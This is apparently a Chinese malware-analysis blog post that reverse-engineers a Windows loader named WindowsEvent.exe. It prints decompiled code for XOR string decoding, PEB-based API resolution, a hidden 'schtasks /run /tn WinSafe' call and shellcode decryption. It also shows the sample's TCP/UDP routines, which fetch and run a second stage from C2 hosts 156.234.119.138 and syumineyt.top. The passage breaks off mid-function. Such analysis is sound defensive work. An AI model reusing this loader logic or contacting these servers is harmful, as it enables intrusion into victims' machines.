跳至主要内容

WindowsEvent.exe

实战 #样本分析

样本来源

分析

WindowsEvent.exe

Start

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int start()
{
int v0; // esi

if ( !Init() )
return 1;
v0 = 0;
if ( sub_3904B8() != 0 )
{
sub_390593();
sub_390660();
}
return v0;
}
  • 初始化函数被我重命名了一下

Init()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
BOOL Init()
{
int DLLBase; // eax
int v1; // esi
_BYTE v3[9]; // [esp+3h] [ebp-81h] BYREF
_BYTE v4[12]; // [esp+Ch] [ebp-78h] BYREF
_BYTE v5[13]; // [esp+18h] [ebp-6Ch] BYREF
_BYTE v6[15]; // [esp+25h] [ebp-5Fh] BYREF
_BYTE v7[15]; // [esp+34h] [ebp-50h] BYREF
_BYTE v8[12]; // [esp+43h] [ebp-41h] BYREF
_BYTE v9[12]; // [esp+4Fh] [ebp-35h] BYREF
_BYTE v10[12]; // [esp+5Bh] [ebp-29h] BYREF
_BYTE v11[29]; // [esp+67h] [ebp-1Dh] BYREF

DeAPIStr(a1: v11, a2: sub_3909E0); // kernel32.dll
DeAPIStr(a1: v10, a2: &loc_3909ED + 1); // CreateFileA
DeAPIStr(a1: v9, a2: &byte_3909FB); // CloseHandle
DeAPIStr(a1: v8, a2: dword_390A08); // GetFileSize
DeAPIStr(a1: v5, a2: byte_390A15); // VirtualAlloc
DeAPIStr(a1: v4, a2: &byte_390A23); // VirtualFree
DeAPIStr(a1: v3, a2: sub_390A30); // ReadFile
DeAPIStr(a1: v7, a2: sub_390A3A); // VirtualProtect
DeAPIStr(a1: v6, a2: &loc_390A5E); // CreateProcessA
DLLBase = LoadDLLBase(a1: v11);
if ( DLLBase == 0 )
return false;
v1 = DLLBase;
LODWORD(xmmword_3909C0) = GetAPIAddr(a1: DLLBase, a2: v10);
DWORD1(xmmword_3909C0) = GetAPIAddr(a1: v1, a2: v9);
DWORD2(xmmword_3909C0) = GetAPIAddr(a1: v1, a2: v8);
HIDWORD(xmmword_3909C0) = GetAPIAddr(a1: v1, a2: v5);
dword_3909D0 = GetAPIAddr(a1: v1, a2: v4);
LODWORD(qword_3909D4) = GetAPIAddr(a1: v1, a2: v3);
HIDWORD(qword_3909D4) = GetAPIAddr(a1: v1, a2: v7);
dword_3909DC = GetAPIAddr(a1: v1, a2: v6);
return _mm_movemask_epi8(
_mm_packs_epi32(
_mm_cmpeq_epi32(0LL, xmmword_3909C0),
_mm_cmpeq_epi32(
_mm_shuffle_ps(_mm_unpacklo_ps(0LL, 0), _mm_shuffle_ps(_mm_cvtsi32_si128(0), 0LL, 212), 33),
0LL))) == 0;
}
  • 对应的结果我都注释好了

DeAPIStr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl DeAPIStr(int a1, _BYTE *a2)
{
int result; // eax
int v3; // edx
int v4; // esi

result = a1;
v3 = *a2;
if ( *a2 != 0 )
{
v4 = 0;
do
{
*(a1 + v4) = a2[v4 + 1] ^ 0x6A;
++v4;
}
while ( v3 != v4 );
}
*(a1 + v3) = 0;
return result;
}
  • 实际上就是一个异或操作,动态调试提取即可

LoadDLLBase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// local variable allocation has failed, the output may be wrong!
struct _LDR_DATA_TABLE_ENTRY *__cdecl LoadDLLBase(int a1)
{
struct _PEB_LDR_DATA *v1; // ebx
struct _LDR_DATA_TABLE_ENTRY *v2; // edi
struct _LIST_ENTRY *v3; // ebx
struct _LDR_DATA_TABLE_ENTRY *result; // eax
struct _PEB var110; // [esp+0h] [ebp-110h] OVERLAPPED BYREF

*&var110.InheritedAddressSpace = NtCurrentPeb();
v1 = *(*&var110.InheritedAddressSpace + 0xC);
v2 = v1->InMemoryOrderModuleList.Flink;
v3 = &v1->InMemoryOrderModuleList;
result = nullptr;
if ( v2 != v3 )
{
while ( 1 )
{
sub_390783(a1: &var110, a2: 0, a3: 256);
sub_390733(a1: v2->FullDllName.Buffer, a2: &var110, a3: 256);
if ( sub_3906DC(a1: &var110, a2: a1) )
break;
v2 = v2->InLoadOrderLinks.Flink;
if ( v2 == v3 )
return nullptr;
}
return v2->InInitializationOrderLinks.Flink;
}
return result;
}
  • 简单优化了一下伪c

sub_3904B8()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int sub_3904B8()
{
struct _LDR_DATA_TABLE_ENTRY *DLLBase; // eax
int v1; // esi
int (__stdcall *APIAddr)(_DWORD, char *, int); // edi
char *v3; // ebx
int v4; // esi
char *i; // eax
int v6; // ecx
char v7; // al
_BYTE *j; // ebx
unsigned __int8 v9; // dl
_BYTE v11[13]; // [esp+0h] [ebp-130h] BYREF
_BYTE v12[19]; // [esp+Dh] [ebp-123h] BYREF
char v13; // [esp+20h] [ebp-110h] BYREF
char v14; // [esp+21h] [ebp-10Fh] BYREF

DeAPIStr(a1: v11, a2: sub_3909E0);
DLLBase = LoadDLLBase(a1: v11); // kernel32.dll
if ( DLLBase == nullptr )
return 0;
v1 = DLLBase;
DeAPIStr(a1: v12, a2: &loc_390A49 + 1); // GetModuleFileNameA
APIAddr = GetAPIAddr(a1: v1, a2: v12);
v3 = &v13;
sub_3907A2(a1: &v13, a2: 0, a3: 260);
v4 = 0;
if ( APIAddr != nullptr && APIAddr(a1: 0, a2: &v13, a3: 260) != 0 )
{
for ( i = &v14; ; ++i )
{
v6 = *(i - 1);
if ( v6 == 47 || v6 == 92 )
{
v3 = i;
}
else if ( *(i - 1) == 0 )
{
v7 = *v3;
if ( *v3 != 0 )
{
for ( j = v3 + 3; ; ++j )
{
v9 = v7 & 0xDF ^ 0x49;
v7 = *(j - 2);
if ( (v9 | v7 & 0xDF ^ 0x4E) == 0 && (*(j - 1) & 0xDF) == 0x44 && (*j & 0xDF) == 0x4F )
break;
if ( v7 == 0 )
return v4;
}
return 1;
}
return v4;
}
}
}
return v4;
}
  • 下面的判定不知道在干什么,问了下ai
  • `检查进程 EXE 文件名是否包含 INMO子串,用于识别特定沙箱、分析工具或人工命名的样本文件``

sub_400593()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int sub_400593()
{
int v0; // esi
_DWORD v2[4]; // [esp+28h] [ebp-98h] BYREF
_BYTE v3[50]; // [esp+3Ah] [ebp-86h] BYREF
_DWORD v4[21]; // [esp+6Ch] [ebp-54h] BYREF

DeAPIStr(a1: v3, a2: &word_390A6E); // schtasks /run /tn WinSafe
sub_390783(a1: v4, a2: 0, a3: 68);
sub_390783(a1: v2, a2: 0, a3: 16);
v4[0] = 68;
v4[11] = 1;
LOWORD(v4[12]) = 0;
v0 = (MEMORY[0x764C5150])( // CreateProcessA
a1: 0,
a2: v3,
a3: 0,
a4: 0,
a5: 0,
a6: 0x8000000,
a7: 0,
a8: 0,
a9: v4,
a10: v2);
if ( v0 != 0 )
{
(MEMORY[0x764B3150])(a1: v2[0]); // kernel32_CloseHandle
(MEMORY[0x764B3150])(a1: v2[1]); // kernel32_CloseHandle
}
return v0;
}
  • 因为DLL是动态加载的,所以函数无法正常显示,动态调式就能显示出来了
  • 主要是以完全静默隐藏的方式执行系统命令 schtasks /run /tn WinSafe,触发运行系统中名为「WinSafe」的计划任务,属于典型的白名单执行手法,利用系统自带 schtasks 程序规避安全检测

sub_390660

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __usercall sub_390660@<eax>(int a1@<eax>)
{
int v1; // eax
void (*v2)(void); // esi
int i; // eax
int j; // eax
int v5; // edi
int v7; // [esp-4h] [ebp-Ch] BYREF

v7 = a1;
v1 = MEMORY[0](a1: 0, a2: 2443, a3: 12288, a4: 4);// kernel32_VirtualAlloc
if ( v1 == 0 )
return 0;
v2 = v1;
for ( i = 0; i != 2443; ++i )
*(v2 + i) = byte_390AA0[i];
for ( j = 0; j != 2443; ++j )
*(v2 + j) = (*(v2 + j) + 119) ^ 0x62;
if ( MEMORY[0](a1: v2, a2: 2443, a3: 32, a4: &v7) != 0 )// kernel32_VirtualProtect
{
v2();
v5 = 1;
}
else
{
v5 = 0;
}
v7 = 0x8000;
MEMORY[0](a1: v2, a2: 0); // kernel32_VirtualFree
return v5;
}

  • 解密shellcode
  • v2就是解密后的函数

ShellCode部分

  • 我仔细分析后建了两个结构体,方便展示分析流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct Context
{
void *GetProcAddress;
void *LoadLibraryA;
void *VirtualAlloc;
void *VirtualFree;
void *lstrcmpiA;
void *RtlZeroMemory;
void *RtlMoveMemory;
void *WSAStartup;
void *socket;
void *getaddrinfo;
void *freeaddrinfo;
void *htons;
void *connect;
void *send;
void *recv;
void *closesocket;
void *WSACleanup;
SOCKET fd;
struct sockaddr addrs;
int Addr;
int pPayloadBase;
int pExtraData;
void *pPayload1Exec;
void *pPayload2Exec;
};
struct MY_LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InMemoryOrderLinks;
struct _LIST_ENTRY InInitializationOrderLinks;
void *DllBase;
void *EntryPoint;
unsigned int SizeOfImage;
struct _UNICODE_STRING FullDllName;
struct _UNICODE_STRING BaseDllName;
};


  • 把结构体设置到第一个被寻找API地址的变量上即可,便于快速分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
int sub_E30000()
{
struct MY_LDR_DATA_TABLE_ENTRY *i; // eax
wchar_t *Buffer; // edx
int v2; // ecx
int j; // edi
unsigned int v4; // esi
void *DllBase; // esi
void *v6; // esi
int v7; // ecx
int v8; // ecx
void *v9; // esi
char v11[8]; // [esp+44h] [ebp-214h] BYREF
char v12[12]; // [esp+4Ch] [ebp-20Ch] BYREF
Context a3; // [esp+58h] [ebp-200h] BYREF
_BYTE v14[400]; // [esp+C8h] [ebp-190h] BYREF

a3.fd = 0;
memset(&a3.Addr, 0, 12);
for ( i = NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink; ; i = i->InMemoryOrderLinks.Flink )
{
if ( i == nullptr )
{
DllBase = nullptr;
goto LABEL_10;
}
Buffer = i->BaseDllName.Buffer;
v2 = i->BaseDllName.Length >> 1;
for ( j = 0; v2 != 0; --v2 )
{
v4 = *Buffer++;
if ( v4 >= 0x61 )
LOWORD(v4) = v4 - 32;
j = v4 + 131 * j;
}
if ( (j & 0x7FFFFFFF) == 0x1CCA9CE6 )
break;
}
DllBase = i->DllBase;
LABEL_10:
a3.GetProcAddress = FindAPI(a1: DllBase, a2: 448378964, a3: nullptr);
a3.LoadLibraryA = FindAPI(a1: DllBase, a2: 2132811640, a3: a3.GetProcAddress);
a3.VirtualAlloc = FindAPI(a1: DllBase, a2: 1586050146, a3: a3.GetProcAddress);
a3.VirtualFree = FindAPI(a1: DllBase, a2: 105414771, a3: a3.GetProcAddress);
a3.lstrcmpiA = FindAPI(a1: DllBase, a2: 1885139621, a3: a3.GetProcAddress);
strcpy(v11, "ntdll");
v6 = (a3.LoadLibraryA)(a1: v11);
a3.RtlZeroMemory = FindAPI(a1: v6, a2: 229997003, a3: a3.GetProcAddress);
a3.RtlMoveMemory = FindAPI(a1: v6, a2: 353954240, a3: a3.GetProcAddress);
v7 = 0;
while ( *(v7 + 14876948) != 'c'
|| *(v7 + 14876949) != 'o'
|| *(v7 + 14876950) != 'd'
|| *(v7 + 14876951) != 'e'
|| *(v7 + 14876952) != 'm'
|| *(v7 + 14876953) != 'a'
|| *(v7 + 14876954) != 'r'
|| *(v7 + 14876955) != 'k' )
{
if ( ++v7 >= 21000 )
goto LABEL_23;
}
a3.pPayloadBase = v7 + 14876948;
a3.pPayload1Exec = (a3.VirtualAlloc)(a1: 0, a2: *(v7 + 14876980), a3: 12288, a4: 64);
(a3.RtlZeroMemory)(a1: a3.pPayload1Exec, a2: *(a3.pPayloadBase + 32));
(a3.RtlMoveMemory)(a1: a3.pPayload1Exec, a2: a3.pPayloadBase + 56, a3: *(a3.pPayloadBase + 32));
a3.pPayload2Exec = (a3.VirtualAlloc)(a1: 0, a2: *(a3.pPayloadBase + 44), a3: 12288, a4: 64);
(a3.RtlZeroMemory)(a1: a3.pPayload2Exec, a2: *(a3.pPayloadBase + 44));
(a3.RtlMoveMemory)(
a1: a3.pPayload2Exec,
a2: *(a3.pPayloadBase + 32) + a3.pPayloadBase + 56,
a3: *(a3.pPayloadBase + 44));
LABEL_23:
v8 = *(a3.pPayloadBase + 32) + *(a3.pPayloadBase + 44);
strcpy(v12, "Ws2_32.dll");
a3.pExtraData = a3.pPayloadBase + 2 * v8 + 56;
v9 = (a3.LoadLibraryA)(a1: v12);
a3.WSAStartup = FindAPI(a1: v9, a2: 861021748, a3: a3.GetProcAddress);
a3.socket = FindAPI(a1: v9, a2: 641740191, a3: a3.GetProcAddress);
a3.getaddrinfo = FindAPI(a1: v9, a2: 1095996673, a3: a3.GetProcAddress);
a3.freeaddrinfo = FindAPI(a1: v9, a2: 2019458519, a3: a3.GetProcAddress);
a3.htons = FindAPI(a1: v9, a2: 825918664, a3: a3.GetProcAddress);
a3.connect = FindAPI(a1: v9, a2: 153833690, a3: a3.GetProcAddress);
a3.send = FindAPI(a1: v9, a2: 260278236, a3: a3.GetProcAddress);
a3.recv = FindAPI(a1: v9, a2: 258028722, a3: a3.GetProcAddress);
a3.closesocket = FindAPI(a1: v9, a2: 346822171, a3: a3.GetProcAddress);
a3.WSACleanup = FindAPI(a1: v9, a2: 1341402319, a3: a3.GetProcAddress);
if ( (a3.WSAStartup)(a1: 514, a2: v14) == 0 )
{
while ( 1 )
{
if ( *(a3.pPayloadBase + 40) != 0 )
TCP(a1: &a3, a2: 1);
else
UDP(a1: &a3, a2: 1);
if ( *(a3.pPayloadBase + 52) != 0 )
TCP(a1: &a3, a2: 2);
else
UDP(a1: &a3, a2: 2);
}
}
return 0;
}
  • 优化完后在IDA Pro上面的伪c语言代码如上
  • 可以看到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for ( i = NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink; ; i = i->InMemoryOrderLinks.Flink )
{
if ( i == nullptr )
{
DllBase = nullptr;
goto LABEL_10;
}
Buffer = i->BaseDllName.Buffer;
v2 = i->BaseDllName.Length >> 1;
for ( j = 0; v2 != 0; --v2 )
{
v4 = *Buffer++;
if ( v4 >= 0x61 )
LOWORD(v4) = v4 - 32;
j = v4 + 131 * j;
}
if ( (j & 0x7FFFFFFF) == 0x1CCA9CE6 )
break;
}
  • 查找模块然后加密对比hash值
  • 经过动态调试后发现这是在找’Kernel32.dll’
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( (a3.WSAStartup)(a1: 514, a2: v14) == 0 )
{
while ( 1 )
{
if ( *(a3.pPayloadBase + 40) != 0 )
TCP(a1: &a3, a2: 1);
else
UDP(a1: &a3, a2: 1);
if ( *(a3.pPayloadBase + 52) != 0 )
TCP(a1: &a3, a2: 2);
else
UDP(a1: &a3, a2: 2);
}
}
  • 获取完部分API后开始找Payload地址

  • 利用codemark标志来寻找Payload

  • 存到pPayloadBase来存储基地址,方便访问Payload内容

  • 利用1和2来选择C2服务器

  • 1的话就是156.234.119.138

  • 2的话就是syumineyt.top

Payload

  • 实际上就在FindAPI函数下面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0x63, 0x6F, 0x64, 0x65, 0x6D, 0x61, 0x72, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0xBB, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00,
0x50, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x31, 0x35, 0x36, 0x2E, 0x32, 0x33, 0x34, 0x2E,
0x31, 0x31, 0x39, 0x2E, 0x31, 0x33, 0x38, 0x00, 0x73, 0x79, 0x75, 0x6D, 0x69, 0x6E, 0x65, 0x79,
0x74, 0x2E, 0x74, 0x6F, 0x70, 0x00, 0x7C, 0x00, 0x30, 0x00, 0x3A, 0x00, 0x6C, 0x00, 0x6B, 0x00,
0x7C, 0x00, 0x30, 0x00, 0x3A, 0x00, 0x68, 0x00, 0x73, 0x00, 0x7C, 0x00, 0x30, 0x00, 0x3A, 0x00,
0x6C, 0x00, 0x64, 0x00, 0x7C, 0x00, 0x30, 0x00, 0x3A, 0x00, 0x63, 0x00, 0x66, 0x00, 0x7C, 0x00,
0x31, 0x00, 0x3A, 0x00, 0x68, 0x00, 0x62, 0x00, 0x7C, 0x00, 0x30, 0x00, 0x3A, 0x00, 0x70, 0x00,
0x6A, 0x00, 0x7C, 0x00, 0x38, 0x00, 0x20, 0x00, 0x2E, 0x00, 0x37, 0x00, 0x20, 0x00, 0x2E, 0x00,
0x35, 0x00, 0x32, 0x00, 0x30, 0x00, 0x32, 0x00, 0x3A, 0x00, 0x7A, 0x00, 0x62, 0x00, 0x7C, 0x00,
0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x3A, 0x00, 0x62, 0x00, 0x62, 0x00, 0x7C, 0x00, 0xA4, 0x8B,
0xD8, 0x9E, 0x3A, 0x00, 0x7A, 0x00, 0x66, 0x00, 0x7C, 0x00, 0x31, 0x00, 0x3A, 0x00, 0x6C, 0x00,
0x63, 0x00, 0x7C, 0x00, 0x31, 0x00, 0x3A, 0x00, 0x64, 0x00, 0x64, 0x00, 0x7C, 0x00, 0x31, 0x00,
0x3A, 0x00, 0x33, 0x00, 0x74, 0x00, 0x7C, 0x00, 0x30, 0x00, 0x38, 0x00, 0x30, 0x00, 0x38, 0x00,
0x3A, 0x00, 0x33, 0x00, 0x6F, 0x00, 0x7C, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x2E, 0x00,
0x74, 0x00, 0x79, 0x00, 0x65, 0x00, 0x67, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x75, 0x00,
0x79, 0x00, 0x73, 0x00, 0x3A, 0x00, 0x33, 0x00, 0x70, 0x00, 0x7C, 0x00, 0x31, 0x00, 0x3A, 0x00,
0x32, 0x00, 0x74, 0x00, 0x7C, 0x00, 0x30, 0x00, 0x38, 0x00, 0x3A, 0x00, 0x32, 0x00, 0x6F, 0x00,
0x7C, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x79, 0x00, 0x65, 0x00,
0x6E, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x75, 0x00, 0x79, 0x00, 0x73, 0x00, 0x3A, 0x00, 0x32, 0x00,
0x70, 0x00, 0x7C, 0x00, 0x31, 0x00, 0x3A, 0x00, 0x31, 0x00, 0x74, 0x00, 0x7C, 0x00, 0x33, 0x00,
0x34, 0x00, 0x34, 0x00, 0x3A, 0x00, 0x31, 0x00, 0x6F, 0x00, 0x7C, 0x00, 0x38, 0x00, 0x33, 0x00,
0x31, 0x00, 0x2E, 0x00, 0x39, 0x00, 0x31, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x34, 0x00, 0x33, 0x00,
0x32, 0x00, 0x2E, 0x00, 0x36, 0x00, 0x35, 0x00, 0x31, 0x00, 0x3A, 0x00, 0x31, 0x00, 0x70, 0x00,
0x7C, 0x00

FindAPI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __usercall FindAPI@<eax>(char *a1@<esi>, int target, int (__stdcall *a3)(int, _BYTE *))
{
_IMAGE_DATA_DIRECTORY *v3; // ecx
_IMAGE_EXPORT_DIRECTORY *v4; // eax
DWORD AddressOfNames; // edx
DWORD AddressOfFunctions; // edi
char *v7; // eax
DWORD v8; // ebx
char *Names; // edx
char *v10; // edi
char *Name; // ecx
char Word; // al
int v13; // ebx
DWORD NumberOfNames; // [esp+8h] [ebp-14h]
char *v16; // [esp+Ch] [ebp-10h]
DWORD v17; // [esp+14h] [ebp-8h]
char *v18; // [esp+18h] [ebp-4h]

v3 = &a1[*(a1 + 15) + 120];
if ( v3->VirtualAddress == 0 )
return 0;
if ( *&a1[*(a1 + 15) + 124] == 0 )
return 0;
v4 = &a1[v3->VirtualAddress];
NumberOfNames = v4->NumberOfNames;
if ( NumberOfNames == 0 )
return 0;
AddressOfNames = v4->AddressOfNames;
AddressOfFunctions = v4->AddressOfFunctions;
v7 = &a1[v4->AddressOfNameOrdinals];
v8 = 0;
Names = &a1[AddressOfNames];
v10 = &a1[AddressOfFunctions];
v16 = v7;
v17 = 0;
while ( 1 )
{
Name = &a1[*&Names[4 * v8]];
v18 = Name;
if ( *Name != 0 )
{
Word = *Name;
v13 = 0;
do
{
v13 = Word + 131 * v13;
Word = *++v18;
}
while ( *v18 != 0 );
v7 = v16;
}
else
{
v13 = 0;
}
if ( (v13 & 0x7FFFFFFF) == target )
break;
v8 = v17 + 1;
v17 = v8;
if ( v8 >= NumberOfNames )
return 0;
}
if ( a3 != nullptr )
return a3(a1, a2: Name);
else
return &a1[*&v10[4 * *&v7[2 * v17]]];
}
  • 其中这个API的加密部分为
1
2
3
4
5
6
7
8
9
10
11
12
if ( *Name != 0 )
{
Word = *Name;
v13 = 0;
do
{
v13 = Word + 131 * v13;
Word = *++v18;
}
while ( *v18 != 0 );
v7 = v16;
}
  • 没有办法逆向,爆破的话也不现实,不如直接动态调试来的快
  • 出来的API就是结构体对应的API

TCP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
void __usercall TCP(Context *a1@<ebx>, int a2)
{
SOCKET v2; // eax
int v3; // eax
void *v4; // eax
_DWORD *v5; // esi
int pPayloadBase; // eax
int v7; // eax
int v8; // edi
int v9; // esi
int Addr; // esi
int v11; // eax
void (__stdcall *v12)(int); // eax
int v13; // eax
SOCKET fd; // [esp-10h] [ebp-28h]
int v15; // [esp+8h] [ebp-10h] BYREF
int v16; // [esp+Ch] [ebp-Ch]
int v17; // [esp+10h] [ebp-8h]
char v18[4]; // [esp+14h] [ebp-4h] BYREF

v17 = 0;
v15 = 0;
v2 = (a1->socket)(a1: 2, a2: 1, a3: 6);
a1->fd = v2;
if ( v2 != -1 )
{
v3 = (a1->VirtualAlloc)(a1: 0, a2: 524302, a3: 12288, a4: 64);
a1->Addr = v3;
if ( v3 != 0 )
{
v4 = a2 == 1 ? a1->pPayload1Exec : a1->pPayload2Exec;
if ( (a1->getaddrinfo)(a1: v4, a2: 0, a3: 0, a4: &v15) == 0 )
{
v5 = *(v15 + 24);
pPayloadBase = a1->pPayloadBase;
*&a1->addrs.sa_family = *v5++;
*&a1->addrs.sa_data[2] = *v5++;
*&a1->addrs.sa_data[6] = *v5;
*&a1->addrs.sa_data[10] = v5[1];
v7 = a2 == 1 ? *(pPayloadBase + 36) : *(pPayloadBase + 48);
*a1->addrs.sa_data = (a1->htons)(a1: v7);
if ( (a1->connect)(a1: a1->fd, a2: &a1->addrs, a3: 16) != -1 )
{
fd = a1->fd;
strcpy(v18, "32");
if ( (a1->send)(a1: fd, a2: v18, a3: 3, a4: 0) > 0 )
{
v8 = 0;
v17 = (a1->VirtualAlloc)(a1: 0, a2: 317440, a3: 12288, a4: 4);
if ( v17 != 0 )
{
while ( 1 )
{
v9 = (a1->recv)(a1: a1->fd, a2: v17, a3: 102400, a4: 0);
if ( v9 <= 0 )
break;
(a1->RtlMoveMemory)(a1: v8 + a1->Addr, a2: v17, a3: v9);
v8 += v9;
if ( v8 == 307214 )
{
(a1->VirtualFree)(a1: v17, a2: 0, a3: 0x8000);
Addr = a1->Addr;
a1->Addr = Addr + 14;
v16 = 0;
v17 = 0;
do
{
v11 = v16;
*(a1->Addr + v16) ^= *(v17 + Addr + 4) % 456 + 54;
++v17;
++v16;
v17 &= -(v11 % 10 != 0);
}
while ( v16 < 307214 );
v12 = (a1->Addr)();
v12(a1: a1->pExtraData);
while ( 1 )
;
}
}
}
}
}
}
}
}
if ( v15 != 0 )
(a1->freeaddrinfo)(a1: v15);
if ( a1->fd != -1 )
(a1->closesocket)(a1: a1->fd);
v13 = a1->Addr;
if ( v13 != 0 )
(a1->VirtualFree)(a1: v13, a2: 0, a3: 0x8000);
if ( v17 != 0 )
(a1->VirtualFree)(a1: v17, a2: 0, a3: 0x8000);
}
  • 先是创建了个TCP的socket
  • 给payload申请了内存
  • 选择C2服务器
  • 从 payload 基址读取端口号,htons 转网络字节序,填充 sockaddr_in
  • 发起 TCP 连接到 C2 服务器
  • 发送握手标记32
  • 下载恶意payload
  • 解密(跳过了前14个字节)
1
2
3
4
5
6
7
8
9
do
{
v11 = v16;
*(a1->Addr + v16) ^= *(v17 + Addr + 4) % 456 + 54;
++v17;
++v16;
v17 &= -(v11 % 10 != 0);
}
while ( v16 < 307214 );
  • 最后执行解密后的payload

UDP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
void __usercall UDP(Context *a1@<ebx>, int a2)
{
int v2; // eax
void *pPayload1Exec; // eax
_DWORD *v4; // esi
int pPayloadBase; // eax
int v6; // eax
SOCKET v7; // eax
int v8; // edi
int v9; // edi
int v10; // eax
int v11; // esi
int Addr; // eax
void (__stdcall *v13)(int); // eax
int v14; // [esp-4h] [ebp-30h]
int v15; // [esp+4h] [ebp-28h]
int v16; // [esp+8h] [ebp-24h] BYREF
int v17; // [esp+Ch] [ebp-20h]
int v18; // [esp+10h] [ebp-1Ch] BYREF
int v19; // [esp+14h] [ebp-18h] BYREF
int v20; // [esp+18h] [ebp-14h] BYREF
int v21; // [esp+1Ch] [ebp-10h]
int v22; // [esp+20h] [ebp-Ch] BYREF
int v23; // [esp+24h] [ebp-8h]
char v24; // [esp+2Ah] [ebp-2h] BYREF
char v25; // [esp+2Bh] [ebp-1h] BYREF

v20 = 0;
v2 = (a1->VirtualAlloc)(a1: 0, a2: 0x80000, a3: 12288, a4: 64);
a1->Addr = v2;
if ( v2 != 0 )
{
if ( a2 == 1 )
pPayload1Exec = a1->pPayload1Exec;
else
pPayload1Exec = a1->pPayload2Exec;
if ( (a1->getaddrinfo)(a1: pPayload1Exec, a2: 0, a3: 0, a4: &v20) == 0 )
{
v24 = 49;
v22 = 0;
v17 = 0;
v23 = 0;
v19 = 0;
v16 = 0;
v15 = 0;
v21 = 0;
v4 = *(v20 + 24);
pPayloadBase = a1->pPayloadBase;
*&a1->addrs.sa_family = *v4++;
*&a1->addrs.sa_data[2] = *v4++;
*&a1->addrs.sa_data[6] = *v4;
*&a1->addrs.sa_data[10] = v4[1];
if ( a2 == 1 )
v6 = *(pPayloadBase + 36);
else
v6 = *(pPayloadBase + 48);
*a1->addrs.sa_data = (a1->htons)(a1: v6);
do
{
++a2;
v7 = (a1->socket)(a1: 2, a2: 2, a3: 17);
a1->fd = v7;
if ( v7 == -1 || (a1->connect)(a1: v7, a2: &a1->addrs, a3: 16) == -1 )
break;
while ( 1 )
{
if ( v23 != 0 )
(a1->VirtualFree)(a1: v23, a2: 0, a3: 0x8000);
v8 = (a1->VirtualAlloc)(a1: 0, a2: 200, a3: 12288, a4: 64);
v23 = v8;
(a1->RtlMoveMemory)(a1: v8, a2: &v24, a3: 1);
v9 = v8 + 1;
(a1->RtlMoveMemory)(a1: v9, a2: &v22, a3: 4);
if ( (a1->send)(a1: a1->fd, a2: v23, a3: 5, a4: 0) != 5 )
break;
v10 = (a1->recv)(a1: a1->fd, a2: v23, a3: 200, a4: 0);
if ( v22 > 0 && v22 > v17 )
goto LABEL_47;
if ( v10 == -1 )
goto LABEL_38;
if ( v10 != 12 )
{
if ( v10 == 16 )
break;
if ( v10 == 109 )
{
v11 = v23;
v18 = -1;
v25 = 48;
(a1->RtlMoveMemory)(a1: &v25, a2: v23, a3: 1);
